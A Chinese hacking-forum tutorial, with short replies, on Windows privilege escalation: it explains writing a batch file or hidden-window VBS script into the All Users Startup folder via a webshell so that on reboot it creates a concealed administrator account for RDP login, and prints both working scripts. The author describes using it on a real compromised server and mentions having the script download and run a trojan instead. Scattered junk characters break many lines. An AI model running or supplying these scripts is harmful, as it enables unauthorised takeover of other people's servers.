返回列表 发帖

[原创教程] 3AST提权课程之启动项提权

大家好,我是完美蚂蚁 今天给大家带来的提权教程是- t) F( [" z" v4 n
启动 提权
6 ~7 E+ h4 T, U# y, Y9 V, }) u/ XC:\Docume~1\All Users\「开始」菜单\程序\启动" C5 a5 z- {% l2 T
在这里必须有写入权限 否则此方法无效+ G" t. q- ~3 i" l7 u
因为我是在网吧 这里显示不了路径
# S* O" D( W9 F5 y  R9 U" \3 z, ~我去服务器上演示给大家看% p9 b5 X9 k1 Q3 |1 ]' A& r: c
大家看到了把 就是这个路径 在这个里面写入文件 等候服务器从起 就会自动执行我们的5 E5 i; v5 k" U: R$ A* k5 G1 {. W
文件 从而运行我们的文件
; n8 T7 U2 u( g2 T1 z& i0 R7 G这里有两中方式 第一种是批处理
7 e& _5 Z. v" x) F: C7 a我们来看下目前 我机器上的用户组
" L6 V$ h0 o, K% [6 y& J目前我们没有521这个用户
  K) S% O9 l2 I看到了把 已经添加到管理组中去了 刚才我们运行程序的时候 一闪而过一个黑色提示
/ Z+ f( D+ x. i9 s7 f' C7 B大家看到了吧  如果是在服务器上运行 一样会有这个提示的 细心的管理员有可能发现
* p) o' j3 B, m0 u6 k  r下面我们来介绍第二中方法使用VBS脚本 大家都知道VBS脚本是没有这个提示的! H% `4 l2 B4 c3 V+ P+ u
大家看 已经成功加入了WMMY用户
/ L* [# q8 H+ b' _& E8 a网络实战才是我们练手的目的 我已经找到一个含有这种漏洞的WBESHELL了
+ T. e% [8 X; B0 e9 g1 Q3 y当前终端服务端口: 33897 o" U3 \2 ~% N5 `+ _1 S% X
系统自动登录功能未开启  Z/ f9 w* A% |0 ^
3389 已经打开了 我们只需要拥有一个管理员权限的用户就可以了
! s- c! F% W4 dC:\Docume~1\All Users\「开始」菜单\程序\启动 这个是默认的路径
" `' s! a. B7 d7 f8 {: D第一种隐蔽性太差  我们就用第二种吧
8 {* `, w7 `7 k* \$ u( B已经写入了 我们只需要等待服务器从起 那个VBS脚本文件就会把我们的用户加入进去+ T* ~+ o$ @! D0 a& I! L6 y/ O
从而取得了3389的登陆权限& Q8 q5 @5 F" ]! y" V
其实在VBS脚本中 我们不一定需要添加管理员帐户可以 直接让VBS下载运行我们的木马
- _! L- Z, o  r6 U2 A4 E" Q, p5 R基本原理都差不多  我就不多介绍了
: Y6 o1 ?" |; @. {- W0 j2 {' U6 r教程结束```: s, N# G+ K" r5 t
@echo off
* v3 g0 @$ t8 l' W1 Fnet user 521 521 /add0 z6 J# N, ^# ?, C3 s* ?; m4 I
net localgroup administrators 521 /add4 m3 Y9 f+ j8 ]! n& x  k
: P7 h; B4 T) C: I" Z
on Error Resume next- P0 m6 N1 R  }8 z! b
set wshshell=createobject("wscript.shell")- q) e$ E, k' Z
a=wshshell.run("net user wmmy$ 1227 /add",0)
& D0 Q  s1 H1 y1 x! ha=wshshell.run("net localgroup administrators wmmy$ /add",0)
5 c* ~. W  _& ^$ V. V- c" ^8 }2 P% I; Q7 D; ~( z  x+ r; }! o
; P: S" a' y, K2 }& C. y) O
点击下载
6 D3 S. f- ~; b$ Q7 T
2

评分人数

  • 柔肠寸断

  • zhuyahui

不建议是用纳米~~很垃圾~。

TOP

+个分 能要是管理的权限啊~。

TOP

写的不错哦~~~~~: ?; G; K7 F( E+ U, t. T

  J! b2 j! l3 \$ u0 P; @# T0 z昨天有事情没有上了
希望做站长本人的学生请点击
http://www.3ast.com/viewthread.php?tid=13841
QQ790653916只负责SEO以及收费教学等方面联系,他人勿扰

于智者同行,你会不同凡响;与高人为伍,你会登上巅峰

TOP

顶下~一下加这么多啊~BS下~:lol

TOP

顶下小柔4 {. f; [* W3 W) y6 d" B8 L0 |
看看~;P

TOP

返回列表